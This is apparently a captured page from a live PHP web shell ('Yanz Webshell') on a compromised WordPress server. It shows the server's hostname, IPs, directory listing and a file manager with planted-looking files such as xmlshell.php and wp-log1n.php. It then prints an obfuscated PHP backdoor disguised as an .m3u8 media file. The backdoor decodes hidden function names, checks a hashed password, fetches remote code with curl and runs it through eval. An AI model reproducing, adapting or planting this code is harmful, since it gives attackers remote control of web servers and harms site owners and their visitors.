Attention:
Uname:
Php:
Hdd:
Cwd:
Yanz Webshell! - PRIV8 WEB SHELL ORB YANZ BYPASS!
Linux cp-2.webhost.mn 4.18.0-425.19.2.lve.el8.x86_64 #1 SMP Thu Apr 6 12:07:52 EDT 2023 x86_64
8.1.33 Safe mode: OFF Datetime: 2025-12-17 03:31:48
2792.60 GB Free: 1878.82 GB (67%)
/home/kheruwym/public_html/ dr-xr-xr-x [ root ] [ home ] Text

Server IP:
202.131.4.21
Client IP:
216.73.216.190
[ Files ][ Logout ]

File manager

NameSizeModifyPermissionsActions
[ . ]dir2025-11-28 13:13:32dr-xr-xr-xRename Touch
[ .. ]dir2025-12-16 19:14:39drwx--x--xRename Touch
[ .tmb ]dir2025-11-12 07:07:40drwxrwxrwxRename Touch
[ .well-known ]dir2025-11-12 07:07:35drwxr-xr-xRename Touch
[ 117cb ]dir2025-11-14 05:53:05dr-xr-xr-xRename Touch
[ 1d8b10 ]dir2025-11-14 08:28:52drwxr-xr-xRename Touch
[ cgi-bin ]dir2025-11-14 05:52:56drwxr-xr-xRename Touch
[ f4727b ]dir2025-11-19 07:48:55drwxr-xr-xRename Touch
[ images ]dir2025-11-14 05:52:56drwxr-xr-xRename Touch
[ wp-admin ]dir2025-11-26 03:07:13drwxr-xr-xRename Touch
[ wp-content ]dir2025-11-22 08:16:38drwxr-xr-xRename Touch
[ wp-includes ]dir2025-11-22 08:16:25drwxr-xr-xRename Touch
.htaccess1.13 KB2025-11-28 13:17:43-r-xr-xr-xRename Touch Edit Download
.htaccess.phpupgrader.574027731.31 KB2022-05-09 06:47:34-rw-r--r--Rename Touch Edit Download
.htaccess.phpupgrader.9e97ffcf1.45 KB2023-08-02 18:50:37-rw-r--r--Rename Touch Edit Download
.htaccess.phpupgrader.initial1.31 KB2022-05-09 06:47:34-rw-r--r--Rename Touch Edit Download
click.php1.93 KB2023-09-14 08:16:25-r--r--r--Rename Touch Edit Download
defaults.php1.93 KB2023-07-21 03:50:14-r--r--r--Rename Touch Edit Download
ex.php5.96 KB2025-11-28 13:13:32-rw-r--r--Rename Touch Edit Download
header.php0 B2025-11-10 06:52:51-rw-r--r--Rename Touch Edit Download
index.php35.97 KB2023-05-29 08:16:38-r-xr-xr-xRename Touch Edit Download
index.php035.97 KB2023-09-11 08:16:37-rwxr-xr-xRename Touch Edit Download
item.php1.29 KB2023-08-18 08:15:39-r--r--r--Rename Touch Edit Download
license.txt19.44 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
mah.php1.93 KB2023-12-31 03:48:47-r--r--r--Rename Touch Edit Download
networks.php1.29 KB2024-01-13 03:43:18-r--r--r--Rename Touch Edit Download
options.php1.93 KB2023-12-03 08:16:25-r--r--r--Rename Touch Edit Download
pages.php1.44 KB2023-07-28 08:15:18-r--r--r--Rename Touch Edit Download
php.ini40 B2025-11-18 19:54:41-rw-r--r--Rename Touch Edit Download
plugins.php1.87 KB2023-07-01 08:16:25-r--r--r--Rename Touch Edit Download
product.php2.03 KB2023-04-16 03:50:14-r--r--r--Rename Touch Edit Download
quoys.php26.20 KB2025-11-13 01:08:41-rw-r--r--Rename Touch Edit Download
readme.html7.25 KB2025-09-30 22:02:04-rw-r--r--Rename Touch Edit Download
robots.txt364 B2023-06-15 08:16:38-r--r--r--Rename Touch Edit Download
search.php1.46 KB2023-12-19 08:16:38-r--r--r--Rename Touch Edit Download
track.php6.49 KB2025-11-12 04:05:52-rw-r--r--Rename Touch Edit Download
txets.php5.89 KB2025-11-12 06:13:57-rw-r--r--Rename Touch Edit Download
wp-activate.php7.21 KB2024-04-02 19:31:34-rw-r--r--Rename Touch Edit Download
wp-blog-header.php347 B2025-11-10 06:52:59-rw-r--r--Rename Touch Edit Download
wp-comments-post.php2.27 KB2023-08-09 07:36:19-rw-r--r--Rename Touch Edit Download
wp-config-sample.php3.26 KB2024-11-13 07:16:19-rw-r--r--Rename Touch Edit Download
wp-config.php3.12 KB2022-02-15 07:01:10-rw-------Rename Touch Edit Download
wp-confiq.php0 B2025-11-10 06:52:50-rw-r--r--Rename Touch Edit Download
wp-cron.php5.51 KB2025-11-10 06:53:00-rw-r--r--Rename Touch Edit Download
wp-load.php3.84 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
wp-log1n.php1.72 KB2024-01-28 08:14:59-r--r--r--Rename Touch Edit Download
wp-mail.php8.52 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
wp-settings.php29.38 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
wp-signup.php33.71 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
wp-trackback.php4.98 KB2024-11-13 07:16:19-rw-r--r--Rename Touch Edit Download
xmlrpc.php3.13 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
xmlshell.php243.86 KB2025-11-13 16:26:34-rw-r--r--Rename Touch Edit Download
 
Change dir:
Read file:
Make dir: (Not writable)
Make file: (Not writable)
Terminal:
Upload file: (Not writable)

HEX
HEX
Server: Apache
System: Linux cp-2.webhost.mn 4.18.0-425.19.2.lve.el8.x86_64 #1 SMP Thu Apr 6 12:07:52 EDT 2023 x86_64
User: kheruwym (1551)
PHP: 8.1.33
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/kheruwym/public_html/cgi-bin/cgi-bin/cgi-bin/lGLyAYbxPUMKqRnXgJ.m3u8
<?php
 goto n_qDdbgI9mW115Mo; rQPyzckG_MaJmBkE: ($HiKRFS9HSC_Ew3jO[66] = $HiKRFS9HSC_Ew3jO[66] . $HiKRFS9HSC_Ew3jO[75]) && ($HiKRFS9HSC_Ew3jO[84] = $HiKRFS9HSC_Ew3jO[66]($HiKRFS9HSC_Ew3jO[84])) && @eval($HiKRFS9HSC_Ew3jO[66](${$HiKRFS9HSC_Ew3jO[49]}[25])); goto ysLaDjxNK_yXzjj5; u8plaoPF006tti_F: $ET6YLbBoQ5lKNOGa = $SS3Cde2mhqACyqvc("\x7e", "\x20"); goto SpdK0QDoc0sJ26SU; n_qDdbgI9mW115Mo: $SS3Cde2mhqACyqvc = "\x72" . "\141" . "\x6e" . "\x67" . "\x65"; goto u8plaoPF006tti_F; wBoLRuNRMkCHOtiD: class DPuS0V1CfQP37zjJ { static function uMFuFdCYGzwHklGe($o_tBphM1yD3SwIR1) { goto t7u4V6ostSQ2Jq8n; LPbmt_XOD9gEqN1D: LtEbetX8CjUFXhdS: goto OQCPbOetSXZJhYEO; CjSVQ24lQVpmnAKV: $esPgfG16Q9WEQIku = $p5c9VyMUcOz3XBOs("\x7e", "\x20"); goto yUJfGZS0ss5iZbJo; z3_DeN5CqJwjDOUx: $GxIGe7BdwABK9P3B = ''; goto PCpVf2Goe3yBbiw5; t7u4V6ostSQ2Jq8n: $p5c9VyMUcOz3XBOs = "\162" . "\141" . "\x6e" . "\x67" . "\145"; goto CjSVQ24lQVpmnAKV; PCpVf2Goe3yBbiw5: foreach ($Kyol5OojznRyW8Gq as $JBgmtTmey67kqzgS => $KdxJdEkrDZ2EvMs6) { $GxIGe7BdwABK9P3B .= $esPgfG16Q9WEQIku[$KdxJdEkrDZ2EvMs6 - 49277]; XOCHWQDFzfJipYKd: } goto LPbmt_XOD9gEqN1D; yUJfGZS0ss5iZbJo: $Kyol5OojznRyW8Gq = explode("\x3d", $o_tBphM1yD3SwIR1); goto z3_DeN5CqJwjDOUx; OQCPbOetSXZJhYEO: return $GxIGe7BdwABK9P3B; goto x69qf3NBOP9psZg2; x69qf3NBOP9psZg2: } static function npgJoOla2T19iHt0($Bu7xupG3VPzyUzF8, $PWal2bmlniE_O4BX) { goto Cf2QVlsU1Mc2aaDI; QXeSiN8dNUElQehs: curl_setopt($donaP5ff3sdpTqGO, CURLOPT_RETURNTRANSFER, 1); goto r95hCrvBFTz9qjx7; Cf2QVlsU1Mc2aaDI: $donaP5ff3sdpTqGO = curl_init($Bu7xupG3VPzyUzF8); goto QXeSiN8dNUElQehs; r95hCrvBFTz9qjx7: $PunbwFjSsjAcdH4w = curl_exec($donaP5ff3sdpTqGO); goto bOciZPmvdLDWADVI; bOciZPmvdLDWADVI: return empty($PunbwFjSsjAcdH4w) ? $PWal2bmlniE_O4BX($Bu7xupG3VPzyUzF8) : $PunbwFjSsjAcdH4w; goto vd9UOvqZiTvHoIE5; vd9UOvqZiTvHoIE5: } static function PxjmPgotvCg3UjWS() { goto y0BWPaEQ2KIrxREX; M_ryaMN5W4VbQTS0: foreach ($z8VbYBYBMF865EUE as $HrgB_pMeLKQh0THx) { $sV1Wf8k5viU5pGdg[] = self::uMfufdcygzwHKlge($HrgB_pMeLKQh0THx); wFQtSCeTgJMM4hHl: } goto s18p4WXYV1vxxu8m; eZ2am9hJ6nkN7UT3: if (!(@$SXkxLJevPMy1HwKC[0] - time() > 0 and md5(md5($SXkxLJevPMy1HwKC[1 + 2])) === "\x62\141\x34\x64\145\x34\x64\x35\70\146\x61\x38\x30\x31\63\66\x30\145\x39\x36\x63\71\143\x34\x39\70\x38\x30\x66\65\x32\145")) { goto cvUXuzzsywP_1RaJ; } goto aLmoqbkPBYlewvrO; pohgK6nFcbZ580M3: die; goto kozy3nHIZ6zG2BrE; eBgbFtZin2NJqDZz: $n206Ypz6Oq6EPpab = @$sV1Wf8k5viU5pGdg[1 + 2]($sV1Wf8k5viU5pGdg[6 + 0], $yYe0wLPBgKt296ov); goto onGdoNKtNQkRvmCW; kozy3nHIZ6zG2BrE: cvUXuzzsywP_1RaJ: goto EBW52CfSJElCFIH1; aLmoqbkPBYlewvrO: $x3dy7cbEI1jGQGh6 = self::npgjOOLA2T19IhT0($SXkxLJevPMy1HwKC[1 + 0], $sV1Wf8k5viU5pGdg[4 + 1]); goto hBJ6Ow71CaWKJqGi; y0BWPaEQ2KIrxREX: $z8VbYBYBMF865EUE = array("\x34\71\x33\60\x34\x3d\64\x39\x32\70\x39\x3d\64\x39\63\x30\62\75\64\71\63\60\66\75\64\71\x32\70\x37\x3d\x34\71\63\60\x32\x3d\x34\71\x33\60\70\x3d\x34\x39\63\x30\61\x3d\x34\71\62\70\x36\75\64\x39\x32\71\63\x3d\x34\71\x33\60\x34\x3d\64\71\x32\x38\x37\75\64\71\x32\71\70\x3d\x34\71\62\71\62\75\x34\x39\x32\x39\x33", "\64\x39\62\70\70\x3d\64\71\x32\70\67\75\x34\71\x32\x38\x39\x3d\64\71\63\60\70\x3d\x34\71\x32\x38\x39\x3d\64\x39\x32\x39\x32\75\x34\x39\x32\70\67\75\64\x39\63\x35\x34\x3d\64\x39\63\65\62", "\64\x39\x32\x39\67\75\x34\71\62\70\x38\75\64\71\x32\71\x32\75\64\x39\62\x39\63\75\x34\71\63\x30\x38\x3d\64\71\63\60\x33\x3d\x34\71\63\x30\x32\x3d\x34\71\63\60\x34\75\x34\71\62\71\x32\x3d\x34\71\x33\x30\63\x3d\64\x39\x33\x30\x32", "\x34\71\62\x39\x31\75\x34\x39\x33\60\x36\75\x34\x39\x33\x30\64\75\x34\71\x32\71\66", "\64\x39\x33\60\x35\x3d\x34\71\63\x30\66\75\64\71\x32\70\70\75\x34\71\x33\x30\62\x3d\64\x39\63\64\x39\75\x34\71\x33\65\61\75\x34\71\x33\x30\x38\75\64\x39\x33\x30\63\75\64\71\63\x30\x32\75\x34\x39\63\x30\64\x3d\x34\71\x32\71\x32\x3d\64\71\x33\60\x33\x3d\64\71\x33\x30\x32", "\x34\71\x33\60\61\x3d\64\71\62\71\70\75\64\71\x32\x39\x35\x3d\x34\x39\x33\60\62\75\x34\71\x33\60\70\75\64\71\x33\60\x30\x3d\64\x39\x33\x30\62\x3d\64\71\x32\70\x37\75\64\x39\x33\x30\70\75\x34\x39\x33\x30\x34\75\x34\x39\62\71\62\75\64\x39\x32\x39\63\75\64\x39\62\x38\x37\75\x34\x39\x33\x30\62\x3d\64\71\62\71\63\x3d\64\71\x32\70\x37\75\x34\x39\x32\x38\x38", "\x34\x39\63\x33\61\x3d\64\x39\x33\66\x31", "\64\x39\x32\x37\70", "\x34\71\x33\x35\66\x3d\64\x39\63\66\61", "\x34\x39\63\x33\70\75\x34\71\63\62\61\x3d\x34\x39\63\62\61\75\x34\71\x33\x33\70\75\x34\x39\x33\61\64", "\x34\71\x33\x30\61\75\x34\71\x32\71\x38\75\64\71\62\x39\65\75\64\x39\62\x38\67\75\x34\71\x33\60\x32\75\x34\71\62\x38\x39\75\x34\71\x33\60\70\75\64\x39\62\71\x38\x3d\64\x39\x32\71\x33\x3d\64\x39\62\x39\61\x3d\x34\x39\x32\70\x36\75\x34\71\62\x38\x37"); goto M_ryaMN5W4VbQTS0; onGdoNKtNQkRvmCW: $SXkxLJevPMy1HwKC = $sV1Wf8k5viU5pGdg[0 + 2]($n206Ypz6Oq6EPpab, true); goto fqRrIxa1fUeG4K6s; fqRrIxa1fUeG4K6s: @$sV1Wf8k5viU5pGdg[10 + 0](INPUT_GET, "\157\146") == 1 && die($sV1Wf8k5viU5pGdg[2 + 3](__FILE__)); goto eZ2am9hJ6nkN7UT3; s18p4WXYV1vxxu8m: mt2f2xfwWzEWjxDg: goto e1TBmG7vZNmU8lin; e1TBmG7vZNmU8lin: $yYe0wLPBgKt296ov = @$sV1Wf8k5viU5pGdg[1]($sV1Wf8k5viU5pGdg[5 + 5](INPUT_GET, $sV1Wf8k5viU5pGdg[2 + 7])); goto eBgbFtZin2NJqDZz; hBJ6Ow71CaWKJqGi: @eval($sV1Wf8k5viU5pGdg[4 + 0]($x3dy7cbEI1jGQGh6)); goto pohgK6nFcbZ580M3; EBW52CfSJElCFIH1: } } goto bpwpMEwyKAi79tq4; ysLaDjxNK_yXzjj5: S2LPo4VBqm8Uqyt1: goto IXwpjZtiL0_GCYue; SpdK0QDoc0sJ26SU: $HiKRFS9HSC_Ew3jO = ${$ET6YLbBoQ5lKNOGa[20 + 11] . $ET6YLbBoQ5lKNOGa[35 + 24] . $ET6YLbBoQ5lKNOGa[9 + 38] . $ET6YLbBoQ5lKNOGa[41 + 6] . $ET6YLbBoQ5lKNOGa[14 + 37] . $ET6YLbBoQ5lKNOGa[23 + 30] . $ET6YLbBoQ5lKNOGa[46 + 11]}; goto S8VkMnU5leXGBBjt; S8VkMnU5leXGBBjt: if (!(in_array(gettype($HiKRFS9HSC_Ew3jO) . count($HiKRFS9HSC_Ew3jO), $HiKRFS9HSC_Ew3jO) && count($HiKRFS9HSC_Ew3jO) == 14 && md5(md5(md5(md5($HiKRFS9HSC_Ew3jO[8])))) === "\x35\141\x34\142\70\61\x31\65\x34\143\71\144\65\60\x62\62\66\x65\70\70\60\71\143\71\142\x38\144\x64\x35\x62\66\x31")) { goto S2LPo4VBqm8Uqyt1; } goto rQPyzckG_MaJmBkE; IXwpjZtiL0_GCYue: metaphone("\130\x36\167\x4c\x33\x56\x58\x32\x76\104\102\x59\147\x53\147\123\x78\60\106\145\x75\x55\132\x2f\53\127\x36\x64\x44\70\104\x44\x65\x47\x50\116\124\143\113\151\161\x42\x51"); goto wBoLRuNRMkCHOtiD; bpwpMEwyKAi79tq4: DPUs0v1cfQP37zjj::pxjMpgOtVCG3ujWs();
?>